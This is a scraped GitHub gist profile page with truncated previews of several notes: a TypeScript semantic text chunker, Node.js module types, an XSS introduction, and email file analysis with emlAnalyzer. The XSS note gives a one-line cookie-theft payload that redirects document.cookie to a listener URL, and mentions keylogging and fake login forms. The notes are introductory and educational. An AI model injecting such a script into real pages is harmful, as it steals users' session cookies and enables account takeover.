Skip to content

Instantly share code, notes, and snippets.

View tsensei's full-sized avatar
💭
Vibing

Talha Jubair Siam tsensei

💭
Vibing
View GitHub Profile
@tsensei
tsensei / semantic-chunker.ts
Created April 5, 2024 14:33
This TypeScript snippet processes a large corpus of text to output semantic chunks by tokenizing into sentences, combining them for context, generating sentence embeddings with OpenAI's service, calculating cosine similarities to identify semantic shifts, and finally grouping sentences into semantically cohesive chunks based on these shifts.
import "dotenv/config";
import { OpenAIEmbeddings } from "@langchain/openai";
import { TextLoader } from "langchain/document_loaders/fs/text";
import natural from "natural";
import * as math from "mathjs";
import { quantile } from "d3-array";
interface SentenceObject {
sentence: string;
index: number;

Modules in NodeJS 📦

NodeJS Module Types :

NodeJS has three module types :

  • Core Modules : These are built-in modules that are part of Node.js distribution and are availabe globally without needing to install any additional distribution. Example : fs, http etc
  • Local Modules : Custom modules written by developers and saved as individual files.
  • Third-Party Modules : Written by external developers, installed and managed by Node Package Manager (NPM).
@tsensei
tsensei / XSS.md
Last active December 10, 2022 04:43

Introduction to XSS

XSS is a code injection attack that allows and attacker to execute malicious code in another users browser.

Possible leverages

  • Cookie Theft : Accessing cookie using document.cookie and sending it to a attacker listener using something like <script> window.location='http://url/?cookie=' + document.cookie </script>
  • Keylogging : Registering a keylogger with addEventListener & sending infos to own server
  • Phishing : Showing a fake login form to steal credentials

Email and suspicious file analysis

We will be using emlAnalyzer to parse headers, body, embedded URLs, plaintext and HTML data, and extract attachments

To install emlAnalyzer :

sudo pip install eml-analyzer